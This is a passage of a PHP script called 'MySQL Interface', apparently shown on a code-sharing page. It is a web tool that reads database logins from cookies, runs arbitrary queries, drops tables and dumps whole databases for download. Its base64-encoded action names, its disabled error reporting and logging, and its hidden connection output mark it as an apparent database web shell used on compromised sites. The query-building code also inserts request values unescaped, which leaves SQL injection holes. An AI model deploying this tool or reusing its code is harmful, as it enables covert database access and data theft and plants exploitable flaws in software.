  696. echo "<option>SOUNDEX\n";
  697. echo "<option>CURDATE\n";
  698. echo "<option>CURTIME\n";
  699. echo "<option>FROM_DAYS\n";
  700. echo "<option>FROM_UNIXTIME\n";
  701. echo "<option>NOW\n";
  702. echo "<option>PASSWORD\n";
  703. echo "<option>PERIOD_ADD\n";
  704. echo "<option>PERIOD_DIFF\n";
  705. echo "<option>TO_DAYS\n";
  706. echo "<option>USER\n";
  707. echo "<option>WEEKDAY\n";
  708. echo "<option>RAND\n";
  709. echo "</select>\n";
  710. echo "</td>\n";
  711. $value = htmlspecialchars($data[$i]);
  712. if( $cmd == "add" ) {
  713. $type = strtok( $fieldtype, " (,)\n" );
  714. if( $type == "enum" || $type == "set" ) {
  715. echo "<td>\n";
  716. if( $type == "enum" )
  717. echo "<select name=$fieldname>\n";
  718. else if( $type == "set" )
  719. echo "<select name=$fieldname size=4 multiple>\n";
  720. while( $str = strtok( "'" ) ) {
  721. echo "<option>$str\n";
  722. strtok( "'" );
  723. }
  724. echo "</select>\n";
  725. echo "</td>\n";
  726. } else {
  727. if( $len < 40 )
  728. echo "<td><input type=text size=40 maxlength=$len name=$fieldname></td>\n";
  729. else
  730. echo "<td><textarea cols=40 rows=3 maxlength=$len name=$fieldname></textarea>\n";
  731. }
  732. } else if( $cmd == "edit" ) {
  733. $type = strtok( $fieldtype, " (,)\n" );
  734. if( $type == "enum" || $type == "set" ) {
  735. echo "<td>\n";
  736. if( $type == "enum" )
  737. echo "<select name=$fieldname>\n";
  738. else if( $type == "set" )
  739. echo "<select name=$fieldname size=4 multiple>\n";
  740. while( $str = strtok( "'" ) ) {
  741. if( $value == $str )
  742. echo "<option selected>$str\n";
  743. else
  744. echo "<option>$str\n";
  745. strtok( "'" );
  746. }
  747. echo "</select>\n";
  748. echo "</td>\n";
  749. } else {
  750. if( $len < 40 )
  751. echo "<td><input type=text size=40 maxlength=$len name=$fieldname value=\"$value\"></td>\n";
  752. else
  753. echo "<td><textarea cols=40 rows=3 maxlength=$len name=$fieldname>$value</textarea>\n";
  754. }
  755. }
  756. echo "</tr>";
  757. }
  758. echo "</table><p>\n";
  759. if( $cmd == "add" )
  760. echo "<input type=submit value='Add Data'>\n";
  761. else if( $cmd == "edit" )
  762. echo "<input type=submit value='Edit Data'>\n";
  763. echo "<input type=button value='Cancel' onClick='history.back()'>\n";
  764. echo "</form>\n";
  765. }
  766. function manageData_submit( $cmd ) {
  767. global $mysqlHandle, $dbname, $tablename, $fieldname, $PHP_SELF, $queryStr, $errMsg;
  768. $pResult = mysql_list_fields( $dbname, $tablename );
  769. $num = mysql_num_fields( $pResult );
  770. mysql_select_db( $dbname, $mysqlHandle );
  771. if( $cmd == "add" )
  772. $queryStr = "INSERT INTO $tablename VALUES (";
  773. else if( $cmd == "edit" )
  774. $queryStr = "REPLACE INTO $tablename VALUES (";
  775. for( $i = 0; $i < $num-1; $i++ ) {
  776. $field = mysql_fetch_field( $pResult );
  777. $func = $GLOBALS[$field->name."_function"];
  778. if( $func != "" )
  779. $queryStr .= " $func(";
  780. if( $field->numeric == 1 ) {
  781. $queryStr .= $GLOBALS[$field->name];
  782. if( $func != "" )
  783. $queryStr .= "),";
  784. else
  785. $queryStr .= ",";
  786. } else {
  787. $queryStr .= "'" . $GLOBALS[$field->name];
  788. if( $func != "" )
  789. $queryStr .= "'),";
  790. else
  791. $queryStr .= "',";
  792. }
  793. }
  794. $field = mysql_fetch_field( $pResult );
  795. if( $field->numeric == 1 )
  796. $queryStr .= $GLOBALS[$field->name] . ")";
  797. else
  798. $queryStr .= "'" . $GLOBALS[$field->name] . "')";
  799. mysql_query( $queryStr , $mysqlHandle );
  800. $errMsg = mysql_error();
  801. viewData( "" );
  802. }
  803. function deleteData() {
  804. global $mysqlHandle, $dbname, $tablename, $fieldname, $PHP_SELF, $queryStr, $errMsg;
  805. $pResult = mysql_list_fields( $dbname, $tablename );
  806. $num = mysql_num_fields( $pResult );
  807. $key = "";
  808. for( $i = 0; $i < $num; $i++ ) {
  809. $field = mysql_fetch_field( $pResult, $i );
  810. if( $field->primary_key == 1 )
  811. if( $field->numeric == 1 )
  812. $key .= $field->name . "=" . $GLOBALS[$field->name] . " AND ";
  813. else
  814. $key .= $field->name . "='" . $GLOBALS[$field->name] . "' AND ";
  815. }
  816. $key = substr( $key, 0, strlen($key)-4 );
  817. mysql_select_db( $dbname, $mysqlHandle );
  818. $queryStr = "DELETE FROM $tablename WHERE $key";
  819. mysql_query( $queryStr, $mysqlHandle );
  820. $errMsg = mysql_error();
  821. viewData( "" );
  822. }
  823. function fetch_table_dump_sql($table)
  824. {
  825. global $mysqlHandle,$dbname;
  826. mysql_select_db( $dbname, $mysqlHandle );
  827. $query_id = mysql_query("SHOW CREATE TABLE $table",$mysqlHandle);
  828. $tabledump = mysql_fetch_array($query_id, MYSQL_ASSOC);
  829. $tabledump = "DROP TABLE IF EXISTS $table;\n" . $tabledump['Create Table'] . ";\n\n";
  830. echo $tabledump;
  831. // get data
  832. $rows = mysql_query("SELECT * FROM $table",$mysqlHandle);
  833. $numfields=mysql_num_fields($rows);
  834. while ($row = mysql_fetch_array($rows, MYSQL_NUM))
  835. {
  836. $tabledump = "INSERT INTO $table VALUES(";
  837. $fieldcounter = -1;
  838. $firstfield = 1;
  839. // get each field's data
  840. while (++$fieldcounter < $numfields)
  841. {
  842. if (!$firstfield)
  843. {
  844. $tabledump .= ', ';
  845. }
  846. else
  847. {
  848. $firstfield = 0;
  849. }
  850. if (!isset($row["$fieldcounter"]))
  851. {
  852. $tabledump .= 'NULL';
  853. }
  854. else
  855. {
  856. $tabledump .= "'" . mysql_escape_string($row["$fieldcounter"]) . "'";
  857. }
  858. }
  859. $tabledump .= ");\n";
  860. echo $tabledump;
  861. }
  862. @mysql_free_result($rows);
  863. }
  864. function dump() {
  865. global $mysqlHandle, $action, $dbname, $tablename;
  866. if( $action == "dumpTable" ){
  867. header("Content-disposition: filename=$tablename.sql");
  868. header('Content-type: unknown/unknown');
  869. fetch_table_dump_sql($tablename);
  870. echo "\n\n\n";
  871. echo "\r\n\r\n\r\n### $tablename TABLE DUMP COMPLETED ###";
  872. exit;
  873. }else{
  874. header("Content-disposition: filename=$dbname.sql");
  875. header('Content-type: unknown/unknown');
  876. mysql_select_db( $dbname, $mysqlHandle );
  877. $query_id = mysql_query("SHOW tables",$mysqlHandle);
  878. while ($row = mysql_fetch_array($query_id, MYSQL_NUM))
  879. {
  880. fetch_table_dump_sql($row[0]);
  881. echo "\n\n\n";
  882. echo "\r\n\r\n\r\n### $row[0] TABLE DUMP COMPLETED ###";
  883. echo "\n\n\n";
  884. }
  885. echo "\r\n\r\n\r\n### $dbname DATABASE DUMP COMPLETED ###";
  886. exit;
  887. }
  888. }
  889. function utils() {
  890. global $PHP_SELF, $command;
  891. echo "<h1>Utilities</h1>\n";
  892. if( $command == "" || substr( $command, 0, 5 ) == "flush" ) {
  893. echo "<hr>\n";
  894. echo "Show\n";
  895. echo "<ul>\n";
  896. echo "<li><a href='$PHP_SELF?action=utils&command=show_status'>Status</a>\n";
  897. echo "<li><a href='$PHP_SELF?action=utils&command=show_variables'>Variables</a>\n";
  898. echo "<li><a href='$PHP_SELF?action=utils&command=show_processlist'>Processlist</a>\n";
  899. echo "</ul>\n";
  900. echo "Flush\n";
  901. echo "<ul>\n";
  902. echo "<li><a href='$PHP_SELF?action=utils&command=flush_hosts'>Hosts</a>\n";
  903. if( $command == "flush_hosts" ) {
  904. if( mysql_query( "Flush hosts" ) != false )
  905. echo "- Success";
  906. else
  907. echo "- Fail";
  908. }
  909. echo "<li><a href='$PHP_SELF?action=utils&command=flush_logs'>Logs</a>\n";
  910. if( $command == "flush_logs" ) {
  911. if( mysql_query( "Flush logs" ) != false )
  912. echo "- Success";
  913. else
  914. echo "- Fail";
  915. }
  916. echo "<li><a href='$PHP_SELF?action=utils&command=flush_privileges'>Privileges</a>\n";
  917. if( $command == "flush_privileges" ) {
  918. if( mysql_query( "Flush privileges" ) != false )
  919. echo "- Success";
  920. else
  921. echo "- Fail";
  922. }
  923. echo "<li><a href='$PHP_SELF?action=utils&command=flush_tables'>Tables</a>\n";
  924. if( $command == "flush_tables" ) {
  925. if( mysql_query( "Flush tables" ) != false )
  926. echo "- Success";
  927. else
  928. echo "- Fail";
  929. }
  930. echo "<li><a href='$PHP_SELF?action=utils&command=flush_status'>Status</a>\n";
  931. if( $command == "flush_status" ) {
  932. if( mysql_query( "Flush status" ) != false )
  933. echo "- Success";
  934. else
  935. echo "- Fail";
  936. }
  937. echo "</ul>\n";
  938. } else {
  939. $queryStr = ereg_replace( "_", " ", $command );
  940. $pResult = mysql_query( $queryStr );
  941. if( $pResult == false ) {
  942. echo "Fail";
  943. return;
  944. }
  945. $col = mysql_num_fields( $pResult );
  946. echo "<p class=location>$queryStr</p>\n";
  947. echo "<hr>\n";
  948. echo "<table cellspacing=1 cellpadding=2 border=0>\n";
  949. echo "<tr>\n";
  950. for( $i = 0; $i < $col; $i++ ) {
  951. $field = mysql_fetch_field( $pResult, $i );
  952. echo "<th>".$field->name."</th>\n";
  953. }
  954. echo "</tr>\n";
  955. while( 1 ) {
  956. $rowArray = mysql_fetch_row( $pResult );
  957. if( $rowArray == false ) break;
  958. echo "<tr>\n";
  959. for( $j = 0; $j < $col; $j++ )
  960. echo "<td>".htmlspecialchars( $rowArray[$j] )."</td>\n";
  961. echo "</tr>\n";
  962. }
  963. echo "</table>\n";
  964. }
  965. }
  966. function footer_html() {
  967. global $mysqlHandle, $dbname, $tablename, $PHP_SELF, $USERNAME;
  968. echo "<hr>\n";
  969. echo "[$USERNAME] - \n";
  970. echo "<a href='$PHP_SELF?action=bGlzdERCcw=='>Database List</a> | \n";
  971. if( $tablename != "" )
  972. echo "<a href='$PHP_SELF?action=listTables&dbname=$dbname&tablename=$tablename'>Table List</a> | ";
  973. echo "<a href='$PHP_SELF?action=utils'>Utils</a> |\n";
  974. echo "<a href='$PHP_SELF?action=logout'>Logout</a>\n";
  975. }
  976. //------------- MAIN ------------- //
  977. error_reporting(0);
  978. ini_set ('display_errors', 0);
  979. ini_set ('log_errors', 0);
  980. if( $action == "logon" || $action == "" || $action == "logout" )
  981. logon();
  982. else if( $action == "bG9nb25fc3VibWl0" )
  983. logon_submit();
  984. else if( $action == "dumpTable" || $action == "dumpDB" ) {
  985. while( list($var, $value) = each($HTTP_COOKIE_VARS) ) {
  986. if( $var == "mysql_web_admin_username" ) $USERNAME = $value;
  987. if( $var == "mysql_web_admin_password" ) $PASSWORD = $value;
  988. if( $var == "mysql_web_admin_hostname" ) $HOSTNAME = $value;
  989. }
  990. $mysqlHandle = @mysql_connect( $HOSTNAME.":3306", $USERNAME, $PASSWORD );
  991. dump();
  992. } else {
  993. while( list($var, $value) = each($HTTP_COOKIE_VARS) ) {
  994. if( $var == "mysql_web_admin_username" ) $USERNAME = $value;
  995. if( $var == "mysql_web_admin_password" ) $PASSWORD = $value;
  996. if( $var == "mysql_web_admin_hostname" ) $HOSTNAME = $value;
  997. }
  998. echo "<!--";
  999. $mysqlHandle = @mysql_connect( $HOSTNAME.":3306", $USERNAME, $PASSWORD );
  1000. echo "-->";
  1001. if( $mysqlHandle == false ) {
  1002. echo "<table width=100% height=100%><tr><td><center>\n";
  1003. echo "<h1>Wrong Password!</h1>\n";
  1004. echo "<a href='$PHP_SELF?action=logon'>Logon</a>\n";
  1005. echo "</center></td></tr></table>\n";
  1006. } else {
  1007. if( $action == "bGlzdERCcw==" )
  1008. listDatabases();
  1009. else if( $action == "createDB" )
  1010. createDatabase();
  1011. else if( $action == "dropDB" )
  1012. dropDatabase();
  1013. else if( $action == "listTables" )
  1014. listTables();
  1015. else if( $action == "createTable" )
  1016. createTable();
  1017. else if( $action == "dropTable" )
  1018. dropTable();
  1019. else if( $action == "viewSchema" )
  1020. viewSchema();
  1021. else if( $action == "query" )
  1022. viewData( $queryStr );
  1023. else if( $action == "addField" )
  1024. manageField( "add" );
  1025. else if( $action == "addField_submit" )
  1026. manageField_submit( "add" );
  1027. else if( $action == "editField" )
  1028. manageField( "edit" );
  1029. else if( $action == "editField_submit" )
  1030. manageField_submit( "edit" );
  1031. else if( $action == "dropField" )
  1032. dropField();
  1033. else if( $action == "dmlld0RhdGE=" )
  1034. viewData( "" );
  1035. else if( $action == "addData" )
  1036. manageData( "add" );
  1037. else if( $action == "addData_submit" )
  1038. manageData_submit( "add" );
  1039. else if( $action == "editData" )
  1040. manageData( "edit" );
  1041. else if( $action == "editData_submit" )
  1042. manageData_submit( "edit" );
  1043. else if( $action == "deleteData" )
  1044. deleteData();
  1045. else if( $action == "utils" )
  1046. utils();
  1047. mysql_close( $mysqlHandle);
  1048. footer_html();
  1049. }
  1050. }
  1051. ?>
  1052. <html>
  1053. <head>
  1054. <title>MySQL Interface (Developed By Mohajer22)</title>
  1055. <body bgColor=#202040 >
  1056. <style type="text/css">
  1057. <!--
  1058. p.location {
  1059. color: #11bb33;
  1060. font-size: small;
  1061. }
  1062. h1 {
  1063. color: #c00000;
  1064. }
  1065. th {
  1066. background-color: #000000;
  1067. color: #11bb33;
  1068. font-size: small;
  1069. }
  1070. td {
  1071. background-color: #808080;
  1072. font-size: small;
  1073. }
  1074. form {
  1075. margin-top: 0;
  1076. margin-bottom: 0;
  1077. }
  1078. a {
  1079. text-decoration:none;
  1080. color: #848200;
  1081. font-size:small;
  1082. }
  1083. A:link {
  1084. COLOR:#EEEFD5;
  1085. TEXT-DECORATION: none
  1086. }
  1087. A:visited {
  1088. COLOR:#c00000;
  1089. TEXT-DECORATION: none
  1090. }
  1091. A:active {
  1092. COLOR:#c00000;
  1093. TEXT-DECORATION: none
  1094. }
  1095. A:hover {
  1096. color:#c00000;
  1097. TEXT-DECORATION: none
  1098. }
  1099. input, select, textarea {
  1100. background-color: #404040;
  1101. border-style: solid;
  1102. font-family: verdana, arial, sans-serif;
  1103. font-size:small;
  1104. color: #ffffff;
  1105. padding: 0px;
  1106. }
  1107. //-->
  1108. </style>
  1109. </head>

comments powered by Disqus